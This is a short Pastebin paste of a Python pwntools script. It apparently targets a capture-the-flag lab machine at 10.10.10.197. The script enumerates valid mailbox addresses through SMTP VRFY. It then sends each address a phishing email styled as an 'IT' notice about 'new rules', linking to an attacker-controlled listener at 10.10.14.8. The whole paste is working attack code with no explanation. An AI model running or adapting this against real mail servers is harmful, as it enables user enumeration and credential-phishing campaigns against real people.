Mr_hEx

SMTP

Jul 24th, 2020 (edited)
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.61 KB | None | 0 0
  1. from pwn import *
  2. import sys
  3.  
  4. # Color !!
  5. PURPLE = '\033[1;35;48m'
  6. CYAN = '\033[1;36;48m'
  7. BOLD = '\033[1;37;48m'
  8. BLUE = '\033[1;34;48m'
  9. GREEN = '\033[1;32;48m'
  10. YELLOW = '\033[1;33;48m'
  11. RED = '\033[1;31;48m'
  12. BLACK = '\033[1;30;48m'
  13.  
  14. Host = "10.10.10.197"
  15.  
  16. def Checker_mail(FileName,Host):
  17. f = open(FileName, "r")
  18. for x in f:
  19. Email = x.rstrip()
  20. conn = remote(Host,25,level='error')
  21. code = conn.recvline()
  22. conn.send("VRFY {}\r\n".format(Email))
  23. ASEmail = conn.recvline().decode()
  24. if "denied" in ASEmail:
  25. print("{}[-] Email Not Found !!".format(RED))
  26. conn.close()
  27. else:
  28. print("{}[+] Email Found : {}".format(GREEN,Email))
  29. conn.close()
  30.  
  31.  
  32.  
  33. def Send_mail(FileName,Host):
  34. f = open(FileName, "r")
  35. for x in f:
  36. Email = x.rstrip()
  37. conn = remote(Host,25,level='error')
  38. code = conn.recvline()
  39. conn.send("mail from: IT\r\n")
  40. ResMail = conn.recvline().decode()
  41. conn.send("rcpt to: {}\r\n".format(Email))
  42. ResRCPT = conn.recvline().decode()
  43. print(ResMail)
  44. print(ResRCPT)
  45. conn.send("data\r\n")
  46. ResData = conn.recvline().decode()
  47. print(ResData)
  48. conn.send("Subject:IT\n")
  49. conn.send("Good Day, \n")
  50. conn.send("For our new rules\n")
  51. conn.send("Please check here : http://10.10.14.8:1233/\n")
  52. conn.send(".\r\n")
  53. ResAfterData = conn.recvline().decode()
  54. print(ResAfterData)
  55.  
  56.  
  57. Send_mail('emails.txt',Host)
  58. #Checker_mail('emails.txt',Host)
Add Comment
Please, Sign In to add comment